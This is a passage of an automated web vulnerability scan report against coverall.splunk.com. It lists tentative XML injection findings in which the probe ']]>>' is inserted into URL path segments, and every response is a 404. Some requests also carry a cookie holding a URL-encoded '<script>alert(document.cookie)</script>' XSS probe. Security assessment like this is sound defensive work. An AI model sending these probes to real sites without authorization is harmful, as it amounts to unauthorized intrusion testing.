Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:34 GMT
Server: lighttpd/1.4.18

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.26. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

Request

GET /themes/splunk_com/scripts/js/contrib]]>>/Myriad_Pro_Regular_400.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:37 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.27. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 6] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js]]>> HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:39 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.28. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes]]>>/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:27 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.29. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes/splunk_com]]>>/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

8.30. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes/splunk_com/scripts]]>>/js/contrib/Myriad_Pro_Semibold_600.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:31 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.31. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes/splunk_com/scripts/js]]>>/contrib/Myriad_Pro_Semibold_600.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:33 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.32. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes/splunk_com/scripts/js/contrib]]>>/Myriad_Pro_Semibold_600.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:36 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.33. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 6] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js

Issue detail

Request

GET /themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js]]>> HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

8.34. http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage

Issue detail

Request

GET /web_assets]]>>/v5/homepage HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Connection: close
Date: Sat, 05 Feb 2011 22:48:14 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.35. http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage

Issue detail

Request

GET /web_assets/v5]]>>/homepage HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Connection: close
Date: Sat, 05 Feb 2011 22:48:17 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.36. http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage

Issue detail

Request

GET /web_assets/v5/homepage]]>> HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:48:19 GMT
Server: lighttpd/1.4.18

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.37. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.css

Issue detail

Request

GET /web_assets]]>>/v5/homepage/homepage.hero.css HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:00 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.38. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.css

Issue detail

Request

GET /web_assets/v5]]>>/homepage/homepage.hero.css HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:02 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.39. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.css

Issue detail

Request

GET /web_assets/v5/homepage]]>>/homepage.hero.css HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:05 GMT
Server: lighttpd/1.4.18

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.40. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 4] previous next

Summary

